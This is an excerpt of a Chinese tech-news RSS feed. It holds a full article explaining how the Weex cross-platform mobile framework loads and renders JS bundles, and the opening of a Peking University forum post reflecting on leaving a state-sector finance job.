href="https://www.addtoany.com/add_to/evernote?linkurl=https%3A%2F%2Finsights.thoughtworks.cn%2Fdata-analyst-engineer-scientist%2F&amp;linkname=%E9%82%A3%E4%BA%9B%E6%95%B0%E6%8D%AE%E5%B7%A5%E4%BD%9C%E4%B8%AD%E7%9A%84%E8%A7%92%E8%89%B2" rel="nofollow noopener" target="_blank" title="Evernote"&gt;&lt;/a&gt;    &lt;a href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Finsights.thoughtworks.cn%2Fdata-analyst-engineer-scientist%2F&amp;linkname=%E9%82%A3%E4%BA%9B%E6%95%B0%E6%8D%AE%E5%B7%A5%E4%BD%9C%E4%B8%AD%E7%9A%84%E8%A7%92%E8%89%B2" rel="nofollow noopener" target="_blank" title="Pocket"&gt;&lt;/a&gt;    &lt;a href="https://www.addtoany.com/add_to/instapaper?linkurl=https%3A%2F%2Finsights.thoughtworks.cn%2Fdata-analyst-engineer-scientist%2F&amp;linkname=%E9%82%A3%E4%BA%9B%E6%95%B0%E6%8D%AE%E5%B7%A5%E4%BD%9C%E4%B8%AD%E7%9A%84%E8%A7%92%E8%89%B2" rel="nofollow noopener" target="_blank" title="Instapaper"&gt;&lt;/a&gt;    &lt;a href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Finsights.thoughtworks.cn%2Fdata-analyst-engineer-scientist%2F&amp;linkname=%E9%82%A3%E4%BA%9B%E6%95%B0%E6%8D%AE%E5%B7%A5%E4%BD%9C%E4%B8%AD%E7%9A%84%E8%A7%92%E8%89%B2" rel="nofollow noopener" target="_blank" title="Email"&gt;&lt;/a&gt;    &lt;a href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Finsights.thoughtworks.cn%2Fdata-analyst-engineer-scientist%2F&amp;linkname=%E9%82%A3%E4%BA%9B%E6%95%B0%E6%8D%AE%E5%B7%A5%E4%BD%9C%E4%B8%AD%E7%9A%84%E8%A7%92%E8%89%B2" rel="nofollow noopener" target="_blank" title="LinkedIn"&gt;&lt;/a&gt;    &lt;a href="https://www.addtoany.com/add_to/pinterest?linkurl=https%3A%2F%2Finsights.thoughtworks.cn%2Fdata-analyst-engineer-scientist%2F&amp;linkname=%E9%82%A3%E4%BA%9B%E6%95%B0%E6%8D%AE%E5%B7%A5%E4%BD%9C%E4%B8%AD%E7%9A%84%E8%A7%92%E8%89%B2" rel="nofollow noopener" target="_blank" title="Pinterest"&gt;&lt;/a&gt;    &lt;a href="https://www.addtoany.com/share"&gt;     &lt;img alt="Share" src="https://static.addtoany.com/buttons/favicon.png"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>jianshu</category>
      <guid isPermaLink="true">https://itindex.net/detail/61624-%E6%95%B0%E6%8D%AE-%E5%B7%A5%E4%BD%9C-%E8%A7%92%E8%89%B2</guid>
      <pubDate>Tue, 20 Jul 2021 00:00:00 CST</pubDate>
    </item>
    <item>
      <title>weex的工作原理</title>
      <link>https://itindex.net/detail/61538-weex-%E5%B7%A5%E4%BD%9C-%E5%8E%9F%E7%90%86</link>
      <description>&lt;div&gt;    &lt;p&gt;18年的时候，公司有一段时间在推行weex技术栈，我们这边刚好有一个项目，于是有幸体验了一把weex开发。今天想把之前整理&amp;amp;总结一些的关于weex内容输出成文，同时回顾一下weex的工作原理。btw，白天上班，晚上写文，保持每日一篇真的好难🤦&lt;/p&gt;    &lt;h2&gt;weex介绍&lt;/h2&gt;    &lt;blockquote&gt;      &lt;p&gt;Weex是一套支持跨平台、动态更新的使用Javascript进行原生APP开发的解决方案。
Weex的终极目标是带来iOS端、Android端和H5端一致的开发体验与代码复用。&lt;/p&gt;&lt;/blockquote&gt;    &lt;p&gt;当然了，到目前为止，weex离她的终极目标还是有一定的距离，那当然是祝福她早日实现目标了，但是她解决了快速发版，提高性能，统一三端三个难点。&lt;/p&gt;    &lt;p&gt;Weex实现了统一的JSEngine和DOM API，因此并不完全限定在其上层使用的JS框架，理论上Weex允许在其上层使用Vue、React和Angular，我司用的是上层框架用的是Vue。&lt;/p&gt;    &lt;h2&gt;weex工作原理&lt;/h2&gt;    &lt;p&gt;&lt;/p&gt;    &lt;img src="https://user-gold-cdn.xitu.io/2020/7/6/17324c3a88a0a8c4?imageView2/0/w/1280/h/960/ignore-error/1"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;    &lt;h3&gt;1. 将weex源码生成JS Bundle&lt;/h3&gt;    &lt;p&gt;Weex首先将编写的Weex源码，也就是后缀名为.we的文件，由template、style 和 script等标签组织好的内容，通过transformer（转换器，weex-toolkit提供的工具）转换成JS Bundle。&lt;/p&gt;    &lt;p&gt;这个过程分为三步：&lt;/p&gt;    &lt;ol&gt;      &lt;li&gt;把template中的内容转换为类JSON的树状数据结构， 转换数据绑定为返回数据的函数原型&lt;/li&gt;      &lt;li&gt;把style转换为类JSON的树状数据结构&lt;/li&gt;      &lt;li&gt;把上面两部分的内容和script中的内容结合成一个JavaScript AMD模块（AMD：异步模块规范）&lt;/li&gt;&lt;/ol&gt;    &lt;p&gt;除此之外,转换器还会做一些额外的事情：合并Bundle，添加引导函数，配置外部数据等等。当前大部分Weex工具最终输出的JSBundle格式都经过了Webpack的二次处理，所以实际使用工具输出的JS Bundle会有不同。&lt;/p&gt;    &lt;h3&gt;2. 服务端部署JS Bundle&lt;/h3&gt;    &lt;p&gt;将JS Bundle部署在服务器，当接收到终端（Web端、iOS端或Android端）的JS Bundle请求，将JS Bundle下发给终端。客户端从服务器更新包后即可在下次启动执行新的版本，而无需重新下载 app，因为运行依赖的WeexSDK 已经存在于客户端了，除非新包依赖于新的 SDK。&lt;/p&gt;    &lt;h3&gt;3. WEEX SDK初始化&lt;/h3&gt;    &lt;p&gt;JS Framework 以及 Vue 和 Rax 的代码都是内置在了 Weex SDK 里的，随着 Weex SDK一起初始化。Weex SDK的初始化一般在App启动时就已经完成了，只会执行一次。&lt;/p&gt;    &lt;h4&gt;Weex SDK初始化主要包含以下操作：&lt;/h4&gt;    &lt;ol&gt;      &lt;li&gt;初始化 JS 引擎，准备好 JS 执行环境，向其中注册一些变量和接口，如 WXEnvironment、callNative。&lt;/li&gt;      &lt;li&gt;执行 JS Framework 的代码。&lt;/li&gt;      &lt;li&gt;注册原生组件和原生模块。&lt;/li&gt;&lt;/ol&gt;    &lt;p&gt;针对第二步，执行 JS Framework 的代码的过程又可以分成如下几个步骤：&lt;/p&gt;    &lt;ol&gt;      &lt;li&gt;注册上层 DSL 框架，如 Vue 和 Rax。这个过程只是告诉 JS Framework 有哪些 DSL 可用，适配它们提供的接口，如init、createInstance，但是不会执行前端框架里的逻辑。&lt;/li&gt;      &lt;li&gt;初始化环境变量，并且会将原生对象的原型链冻结，此时也会注册内置的 JS Service，如 BroadcastChannel。&lt;/li&gt;      &lt;li&gt;如果 DSL 框架里实现了 init 接口，会在此时调用。&lt;/li&gt;      &lt;li&gt;向全局环境中注入可供客户端调用的接口，如callJS、createInstance、registerComponents，调用这些接口会同时触发 DSL 中相应的接口。&lt;/li&gt;&lt;/ol&gt;    &lt;p&gt;下面详细介绍一下JS Framework。&lt;/p&gt;    &lt;h4&gt;JS Framework 的功能&lt;/h4&gt;    &lt;p&gt;Weex 是一个既支持多个前端框架又能跨平台渲染的框架，JS Framework 介于前端框架和原生渲染引擎之间，处于承上启下的位置，也是跨框架跨平台的关键。无论你使用的是 Vue 还是 Rax，无论是渲染在 Android 还是 iOS，JS Framework 的代码都会运行到（如果是在浏览器和 WebView 里运行，则不依赖 JS Framework）。&lt;/p&gt;    &lt;h5&gt;1. 适配前端框架&lt;/h5&gt;    &lt;p&gt;前端框架在 Weex 和浏览器中的执行过程不一样，这个应该不难理解。如何让一个前端框架运行在 Weex 平台上，是 JS Framework 的一个关键功能。&lt;/p&gt;    &lt;p&gt;以 Vue.js 为例，在浏览器上运行一个页面大概分这么几个步骤：首先要准备好页面容器，可以是浏览器或者是 WebView，容器里提供了标准的 Web API。然后给页面容器传入一个地址，通过这个地址最终获取到一个 HTML 文件，然后解析这个 HTML 文件，加载并执行其中的脚本。想要正确的渲染，应该首先加载执行 Vue.js 框架的代码，向浏览器环境中添加 Vue 这个变量，然后创建好挂载点的 DOM 元素，最后执行页面代码，从入口组件开始，层层渲染好再挂载到配置的挂载点上去。&lt;/p&gt;    &lt;p&gt;在 Weex 里的执行过程也比较类似，不过 Weex 页面对应的是一个 js 文件，不是 HTML 文件，而且不需要自行引入 Vue.js 框架的代码，也不需要设置挂载点。过程大概是这样的：首先初始化好 Weex 容器，这个过程中会初始化 JS Framework，Vue.js 的代码也包含在了其中。然后给 Weex 容器传入页面地址，通过这个地址最终获取到一个 js 文件，客户端会调用 createInstance 来创建页面，也提供了刷新页面和销毁页面的接口。大致的渲染行为和浏览器一致，但是和浏览器的调用方式不一样，前端框架中至少要适配客户端打开页面、销毁页面（push、pop）的行为才可以在 Weex 中运行。&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;img src="https://user-gold-cdn.xitu.io/2020/7/8/1732c8f764f6a132?imageView2/0/w/1280/h/960/ignore-error/1"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;在 JS Framework 里提供了如上图所示的接口来实现前端框架的对接。图左侧的四个接口与页面功能有关，分别用于获取页面节点、监听客户端的任务、注册组件、注册模块，目前这些功能都已经转移到 JS Framework 内部，在前端框架里都是可选的，有特殊处理逻辑时才需要实现。图右侧的四个接口与页面的生命周期有关，分别会在页面初始化、创建、刷新、销毁时调用，其中只有 createInstance 是必须提供的，其他也都是可选的（在新的 Sandbox 方案中，createInstance 已经改成了 createInstanceContext）。&lt;/p&gt;    &lt;h5&gt;2. 构建渲染指令树&lt;/h5&gt;    &lt;p&gt;在浏览器上它们都使用一致的 DOM API 把 Virtual DOM 转换成真实的 HTMLElement。在 Weex 里的逻辑也是类似的，只是在最后一步生成真实元素的过程中，不使用原生 DOM API，而是使用 JS Framework 里定义的一套 Weex DOM API 将操作转化成渲染指令发给客户端。&lt;/p&gt;    &lt;p&gt;JS Framework 提供的 Weex DOM API 和浏览器提供的 DOM API 功能基本一致，在 Vue 和 Rax 内部对这些接口都做了适配，针对 Weex 和浏览器平台调用不同的接口就可以实现跨平台渲染。&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;img src="https://user-gold-cdn.xitu.io/2020/7/8/1732c8e704edbdc3?imageView2/0/w/1280/h/960/ignore-error/1"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;    &lt;h5&gt;3. JS-Native 通信&lt;/h5&gt;    &lt;p&gt;在开发页面过程中，除了节点的渲染以外，还有原生模块的调用、事件绑定、回调等功能，这些功能都依赖于 js 和 native 之间的通信来实现。&lt;/p&gt;    &lt;p&gt;首先，页面的 js 代码是运行在 js 线程上的，然而原生组件的绘制、事件的捕获都发生在 UI 线程。在这两个线程之间的通信用的是 callNative 和 callJS 这两个底层接口（现在已经扩展到了很多个），它们默认都是异步的，在 JS Framework 和原生渲染器内部都基于这两个方法做了各种封装。&lt;/p&gt;    &lt;p&gt;callNative 是由客户端向 JS 执行环境中注入的接口，提供给 JS Framework 调用，界面的节点（上文提到的渲染指令树）、模块调用的方法和参数都是通过这个接口发送给客户端的。为了减少调用接口时的开销，其实现在已经开了更多更直接的通信接口，其中有些接口还支持同步调用（支持返回值），它们在原理上都和 callNative 是一样的。&lt;/p&gt;    &lt;p&gt;callJS 是由 JS Framework 实现的，并且也注入到了执行环境中，提供给客户端调用。事件的派发、模块的回调函数都是通过这个接口通知到 JS Framework，然后再将其传递给上层前端框架。&lt;/p&gt;    &lt;h5&gt;4. JS Service&lt;/h5&gt;    &lt;p&gt;Weex 是一个多页面的框架，每个页面的 js bundle 都在一个独立的环境里运行，不同的 Weex 页面对应到浏览器上就相当于不同的“标签页”，普通的 js 库没办法实现在多个页面之间实现状态共享，也很难实现跨页通信。&lt;/p&gt;    &lt;p&gt;JS Framework 中实现了 JS Service 的功能，主要就是用来解决跨页面复用和状态共享的问题的，例如 BroadcastChannel 就是基于 JS Service 实现的，它可以在多个 Weex 页面之间通信&lt;/p&gt;    &lt;h5&gt;5. 准备环境接口&lt;/h5&gt;    &lt;p&gt;由于 Weex 运行环境和浏览器环境有很大差异，在 JS Framework 里还对一些环境变量做了封装，主要是为了解决解决原生环境里的兼容问题，底层使用渲染引擎提供的接口。主要的改动点是：&lt;/p&gt;    &lt;ul&gt;      &lt;li&gt;console: 原生提供了 nativeLog 接口，将其封装成前端熟悉的 console.xxx 并可以控制日志的输出级别。&lt;/li&gt;      &lt;li&gt;timer: 原生环境里 timer 接口不全，名称和参数不一致。目前来看有了原生 C/C++ 实现的 timer 后，这一层可以移除。&lt;/li&gt;      &lt;li&gt;freeze: 冻结当前环境里全局变量的原型链（如 Array.prototype）。&lt;/li&gt;&lt;/ul&gt;    &lt;p&gt;另外还有一些 ployfill：Promise 、Arary.from 、Object.assign 、Object.setPrototypeOf 等。&lt;/p&gt;    &lt;h3&gt;4. 执行JS Bundle&lt;/h3&gt;    &lt;p&gt;在初始化好 Weex SDK 之后，就可以开始渲染页面了。通常 Weex 的一个页面对应了一个 js bundle 文件，页面的渲染过程也是加载并执行 js bundle 的过程。&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;img src="https://user-gold-cdn.xitu.io/2020/7/8/1732a03529b8760e?imageView2/0/w/1280/h/960/ignore-error/1"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;首先是调用原生渲染引擎里提供的接口来加载执行 js bundle，在 Android 上是 renderByUrl，在 iOS 上是 renderWithURL。在得到了 js bundle 的代码之后，会继续执行 SDK 里的原生 createInstance 方法，给当前页面生成一个唯一 id，并且把代码和一些配置项传递给 JS Framework 提供的 createInstance 方法。&lt;/p&gt;    &lt;p&gt;在 JS Framework 接收到页面代码之后，会判断其中使用的 DSL 的类型（Vue 或者 Rax），然后找到相应的框架，执行 createInstanceContext 创建页面所需要的环境变量。&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;img src="https://user-gold-cdn.xitu.io/2020/7/8/1732a225dcb17047?imageView2/0/w/1280/h/960/ignore-error/1"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;在旧的方案中，JS Framework 会调用 runInContex 函数在特定的环境中执行 js 代码，内部基于 new Function 实现。在新的 Sandbox 方案中，js bundle 的代码不再发给 JS Framework，也不再使用 new Function，而是由客户端直接执行 js 代码。&lt;/p&gt;    &lt;h3&gt;创建 weex 实例&lt;/h3&gt;    &lt;p&gt;当WEEX SDK获取到JS Bundle后，第一时间并不是立马渲染页面，而是先创建WEEX的实例。&lt;/p&gt;    &lt;p&gt;每一个JS bundle对应一个实例，同时每一个实例都有一个instance id。&lt;/p&gt;    &lt;p&gt;由于所有的js bundle都是放入到同一个JS执行引擎中执行，那么当js执行引擎通过WXBridge将相关渲染指令传出的时候，需要通过instance id才能知道该指定要传递给哪个weex实例。&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;img src="https://user-gold-cdn.xitu.io/2020/7/8/1732a2dcf5ed2c46?imageView2/0/w/1280/h/960/ignore-error/1"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;在创建实例完成后，接下来才是真正将js bundle交给js执行引擎执行。&lt;/p&gt;    &lt;h3&gt;weex渲染流程&lt;/h3&gt;    &lt;p&gt;Weex 里页面的渲染过程和浏览器的渲染过程类似，整体可以分为【创建前端组件】-&amp;gt; 【构建 Virtual DOM】-&amp;gt;【生成“真实” DOM】-&amp;gt;【发送渲染指令】-&amp;gt;【绘制原生 UI】这五个步骤。前两个步骤发生在前端框架中，第三和第四个步骤在 JS Framework 中处理，最后一步是由原生渲染引擎实现的。
页面渲染的大致流程如下：&lt;/p&gt;    &lt;img src="https://user-gold-cdn.xitu.io/2020/7/8/1732a23af52a8c6a?imageView2/0/w/1280/h/960/ignore-error/1"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;    &lt;h4&gt;创建前端组件&lt;/h4&gt;    &lt;p&gt;Vue 框架在执行渲染前，会先根据开发时编写的模板创建相应的组件实例，可以称为 Vue Component，它包含了组件的内部数据、生命周期以及 render 函数等。如果给同一个模板传入多条数据，就会生成多个组件实例，渲染时会创建多个 Vue Component 的实例，每个组件实例的内部状态是不一样的。&lt;/p&gt;    &lt;h4&gt;构建 Virtual DOM&lt;/h4&gt;    &lt;p&gt;Vue Component 的渲染过程，可以简单理解为组件实例执行 render 函数生成 VNode 节点树的过程，也就是构建 Virtual DOM 的生成过程。&lt;/p&gt;    &lt;h4&gt;生成“真实” DOM&lt;/h4&gt;    &lt;p&gt;上面两个过程，在Weex 和浏览器里都是完全一样的，从生成真实 DOM 这一步开始，Weex 使用了不同的渲染方式。JS Framework 中提供了和 DOM 接口类似的 Weex DOM API，在 Vue 里会使用这些接口将 VNode 渲染生成适用于 Weex 平台的 Element 对象，和 DOM 很像，但并不是“真实”的 DOM。在 Vue 和 Rax 内部对这些接口都做了适配，针对 Weex 和浏览器平台调用不同的接口就可以实现跨平台渲染。&lt;/p&gt;    &lt;h4&gt;发送渲染指令&lt;/h4&gt;    &lt;p&gt;在 JS Framework 内部和客户端渲染引擎约定了一系列的指令接口，对应了一个元素的 DOM 操作，如 addElement removeElement updateAttrs updateStyle 等。JS Framework 使用这些接口将自己内部构建的 Element 节点树以渲染指令的形式发给客户端。&lt;/p&gt;    &lt;h4&gt;绘制原生 UI&lt;/h4&gt;    &lt;p&gt;客户端接收 JS Framework 发送的渲染指令，创建相应的原生组件，最终调用系统提供的接口绘制原生 UI。&lt;/p&gt;    &lt;p&gt;同样的一份JSON 数据，在不同平台的渲染引擎中能够渲染成不同版本的 UI，这是 Weex 可以实现动态化的原因。&lt;/p&gt;    &lt;h4&gt;事件的响应过程&lt;/h4&gt;    &lt;p&gt;无论是在浏览器还是 Weex 里，事件都是由原生 UI 捕获的，然而事件处理函数都是写在前端里的，所以会有一个传递的过程。&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;img src="https://user-gold-cdn.xitu.io/2020/7/8/1732a252823c4c93?imageView2/0/w/1280/h/960/ignore-error/1"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;如上图所示，如果在 Vue.js 里某个标签上绑定了事件，会在内部执行 addEventListener 给节点绑定事件，这个接口在 Weex 平台下调用的是 JS Framework 提供的 addEvent 方法向元素上添加事件，传递了事件类型和处理函数。JS Framework 不会立即向客户端发送添加事件的指令，而是把事件类型和处理函数记录下来，节点构建好以后再一起发给客户端，发送的节点中只包含了事件类型，不含事件处理函数。客户端在渲染节点时，如果发现节点上包含事件，就监听原生 UI 上的指定事件。&lt;/p&gt;    &lt;p&gt;当原生 UI 监听到用户触发的事件以后，会派发 fireEvent 命令把节点的 ref、事件类型以及事件对象发给 JS Framework。JS Framework 根据 ref 和事件类型找到相应的事件处理函数，并且以事件对象 event 为参数执行事件处理函数。目前 Weex 里的事件模型相对比较简单，并不区分捕获阶段和冒泡阶段，而是只派发给触发了事件的节点，并不向上冒泡，类似 DOM 模型里 level 0 级别的事件。&lt;/p&gt;    &lt;p&gt;上述过程里，事件只会绑定一次，但是很可能会触发多次，例如 touchmove 事件，在手指移动过程中，每秒可能会派发几十次，每次事件都对应了一次 fireEvent -&amp;gt; invokeHandler 的处理过程，很容易损伤性能，浏览器也是如此。针对这种情况，可以使用用 expression binding 来将事件处理函数转成表达式，在绑定事件时一起发给客户端，这样客户端在监听到原生事件以后可以直接解析并执行绑定的表达式，而不需要把事件再派发给前端。&lt;/p&gt;    &lt;p&gt;以上就是weex的基本工作原理了，下面看下weex的应用。&lt;/p&gt;    &lt;h2&gt;weex的三种工作模式&lt;/h2&gt;    &lt;h3&gt;1. 全页模式&lt;/h3&gt;    &lt;p&gt;目前支持单页使用或整个App使用weex开发(还不完善，需要开发Router和生命周期管理)，这个可以类比React Native。&lt;/p&gt;    &lt;h3&gt;2. Native Component模式&lt;/h3&gt;    &lt;p&gt;把weex当作一个IOS/Android组件来使用，类比ImageView。但是局部动态化需求旺盛会导致频繁发版。&lt;/p&gt;    &lt;h3&gt;3. H5 Component模式&lt;/h3&gt;    &lt;p&gt;在H5中使用weex，类比WMC。在现有的H5页面上做微调，引入Native解决长列表内存暴增、滚动不流畅、动画/手势体验差等问题。&lt;/p&gt;    &lt;h2&gt;weex与H5 Hybird比较&lt;/h2&gt;    &lt;p&gt;从前，实现一个需求，需要三种程序员(iOS，android，前端)写三份代码，这就带来了很大的开发成本，所以业界一直在探索跨平台技术方案。从之前的Hybrid，到现在的Weex，React Native，这些方案的根本目的都是一套代码，多端运行。&lt;/p&gt;    &lt;p&gt;H5 Hybrid方案的本质是利用客户端APP的内置浏览器功能(即webview)，通过JSBridge实现客户端Native和前端JS的通信问题，然后开发H5页面内嵌于APP中，该方案提升了开发效率，也满足了跨端的需求，但是有一个问题就是，前端H5的性能和客户端的性能相差甚远。&lt;/p&gt;    &lt;p&gt;而weex采取H5页面的开发方式，同时在终端的运行体验不输Native App。weex利用Native的能力去做了部分浏览器去做的工作。&lt;/p&gt;    &lt;h2&gt;weex的优势&lt;/h2&gt;    &lt;p&gt;&lt;/p&gt;    &lt;img src="https://user-gold-cdn.xitu.io/2020/7/8/1732c745e65dba0b?imageView2/0/w/1280/h/960/ignore-error/1"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;参考：      &lt;a href="https://blog.csdn.net/aide521521/article/details/79378045" target="_blank"&gt;详细介绍 Weex 的 JS Framework&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/61538-weex-%E5%B7%A5%E4%BD%9C-%E5%8E%9F%E7%90%86</guid>
      <pubDate>Tue, 15 Jun 2021 14:27:28 CST</pubDate>
    </item>
    <item>
      <title>鼓起勇气从体制内辞职，分享一些经验教训感悟 - 找工作啦(Job)版 - 北大未名BBS</title>
      <link>https://itindex.net/detail/61520-%E5%8B%87%E6%B0%94-%E4%BD%93%E5%88%B6-%E8%BE%9E%E8%81%8C</link>
      <description>&lt;div&gt;    &lt;p&gt;（2021.6.8更新:&lt;/p&gt;    &lt;p&gt;很多学弟学妹给我发私信咨询，谢谢大家的信任。我也是一个普通人，站得不高，也看得不远，如有未解答的问题请见谅。如果有任何问题欢迎私信与我交流，知无不言。也希望其他同学分享各种求职行业经验和思考，造福学弟学妹。希望出现赞数更多的文章😄&lt;/p&gt;    &lt;p&gt;帖子热度慢慢降下去了，很开心大家有了充分的讨论。这也是我发帖提醒各位的原因。能让大家有一些思考，有些观照就很好了。至少不会是社会绝大多数人那样被结婚生子买房买车的道路裹挟。最后还想说，希望大家做好规划，勤于思考。去做一个幸福的普通人，但一定更要有内心的坚守和追求，不愧对在北大的学习时光和“眼底未名水，胸中黄河月”的情怀。&lt;/p&gt;    &lt;p&gt;）&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;（2021.6.7更新：&lt;/p&gt;    &lt;p&gt;发现自己写的帖子引起了大家这么热烈的讨论，真的很感谢师弟师妹们对我的鼓励，也有许多同龄人相似经历的人分享自己的心路历程，非常感动。也看到有体制内的前辈批评我，劝导我，我都虚心接受。我还不到30，道行尚浅，没有体制内的前辈站得高，看得远。选择都是自己做出来的，既然做了，就不会后悔。&lt;/p&gt;    &lt;p&gt;我尽量用一种客观的语言陈述事实，而不是进行价值判断，可能还没有做到完全客观。我再次强调我没有否定体制内的任何意思，只是真实体验过冷暖自知。能引发大家的思考和讨论就很好，没有任何劝戒的观点。择业是人生大事，只是希望大家根据自己的情况谨慎决策，慎重思考，这大有裨益。我没有在体制外呆过，资历尚浅，只能就自己的经验做一些分享，说的不周的地方请见谅。这几千字的内容是我周末有感而发，回想到学生时代的一些错误和没有注意到的地方，更多是面向在校生和毕业生的提示和分享。更多前辈比我更有经验阅历，请不要苛责我作为一个后辈稚嫩的观点。开放的平台大家都可以讨论、分享。&lt;/p&gt;    &lt;p&gt;非常感谢北大bbs，我们能有一个深度、平等、开放、安全的交流空间。兼听则明，偏信则暗，我也在各位的回复中收获颇丰。另烦请各位前辈和学弟学妹不要转载，让我们停留在北大这个开放包容的环境中讨论，以免在社会舆论引起不必要的纷扰。&lt;/p&gt;    &lt;p&gt;我在园子里度过了人生最美好的6年，热爱这里的一草一木、一砖一瓦。谢谢大家的关心，祝大家都有美好的前程。&lt;/p&gt;    &lt;p&gt;）&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;原帖如下：&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;终于鼓起勇气从体制内辞职了，看着即将入职的小朋友踌躇满志，想到了五年前的我，也是如此对工作和未来充满了期待而意气风发。即将迎接我的将是一个未知的领域，充满风险和挑战的社会。在此我复盘我踩过的坑和没有注意的地方，希望能为学弟学妹做些提示，做好职业生涯规划，完成学生到社会的蜕变。&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;我是p大理工本金融类硕，现在在某金融类体制内单位工作了五年。当时该单位（以下简称甲单位）招聘很好，我放弃了其他的offer来到甲单位。此后便开始了我的体制内生涯。&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;到单位的第一天，我还未脱去学生的稚嫩，领导语重心长地对我说：“大家都很优秀，不过年轻同事肯定要从最基础的做起。“我牢记父母对我的教诲，进体制内单位低头做事，谨言慎行，放低身段。没想各种工作还是远远超出了我的预期。“第一年你们小年轻就做做基本工作就行“……我不由得先吃了一惊。此后，我发现我再也和债券股票、市场基本面、财务报表、宏观经济有任何关系，取而代之的是巡视、审计、保密、写文、送文、改文、核稿、党建、团建、订会议室、摆座牌、准备材料、发言稿、不忘初心、调格式、设置页码、检查错别字、认真学习“请XX同志阅示、阅研、阅批、办理、加急办理、高度重视”的批示精神……&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;体制内就是一个机器，每个人就是一个螺丝钉。随着内卷程度的加深，原本中专生干的活现在需要北大清华的学生来干，对，如果你学校不够好连这体制内单位的门都进不去。领导其实有时候也在说“体制内浪费了多少人才”。诚然，我在服务领导的路上一直走过了五年。第一年还在适应的过程中，第二年第三年在恐惧自己要被社会淘汰的焦虑中和在毫无意义的工作中埋没，当然后面还有疫情，更让我踟蹰不前。&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;我终于决定要出来，这并不是我想要的，更不是我当时来甲单位的初心。社会现实再次给了我冷冷一击。有着cfa的我投的简历依然石沉大海，毕竟离市场太远了这么多年，早已荒废了各类知识。实在走投无路，靠学长学姐推荐了几个单位，面试的时候看了简历，共同感叹“太可惜了，你的学历和软件实力完全没问题，都是顶尖。但是你的工作经历不能和任何工作匹配，这是硬伤”“你到我这里来也是给你按刚入职的新生算”“你虽然在体制内，但是你能给我们带来什么资源呢，我们招你和应届生，其实没有本质的差别”“你就算北大毕业，我们还是会录用更有经验的人”……&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;凡此种种，再一次让我认识到了社会的残酷。我面临着工资的大幅下跌，面临着周围同批同学早已在自己的岗位上飞速成长成为骨干甚至带起了自己的团队的这种心理落差。有时候常常和同学开玩笑：“再有一批国企下岗，那一定是我下岗。”虽然是玩笑话，背后确是说不尽的辛酸。&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;不过无所谓，已经选择了重头开始。我在这里还是复盘一下自己做得不好的地方，给学弟学妹一些提醒：&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;一、  一些犯过的错误&lt;/p&gt;    &lt;p&gt;1. 未能理解选人标准高不等于育人标准高&lt;/p&gt;    &lt;p&gt;很多时候大家offer求比较更多看的是这个单位如何，但实际上更重要的是你所在的岗位如何。单位固然也很重要，但要明白，什么东西脱离了你的单位，成为你自己的东西，这才是你自我价值的提升。按在现在内卷的情况，一窝蜂北大清华的学生都涌进体制内或部分机构，他们选人的标准自然很高。正如领导所言什么岗位都要有做最基础的打印复印扫描文件，只是现在轮到你们北大的人做而已。不要秉持学生思维认为什么地方难进就一定是好的单位，更好看这个单位里你从事的工作和单位对你的培养。&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;2. 未能树立明确职业规划和人生道路有效衔接&lt;/p&gt;    &lt;p&gt;我直到本科后才知道去实习，凭借理工科的背景也是进入金融机构较为顺利。但是我一直不知自己的职业规划，或者通俗一点，自己的“爽点”在什么地方。有和我背景类似的同学瞄着基金经理的岗位专注二级市场，也有专注编程技能成为很好的金融建模专家。（当然，他们工作压力和竞争也很大）而我缺少这样的规划，自然当时觉得什么地方难进就什么地方。同时，很多来甲单位的同事冲着结婚生子就去了，迅速办完了人生大事再搞后续的事业。诚然，我缺少了对长期人生家庭的各类规划。&lt;/p&gt;    &lt;p&gt; &lt;/p&gt;    &lt;p&gt;3.  未能正确理解体制内工作内容核心就是写公文&lt;/p&gt;    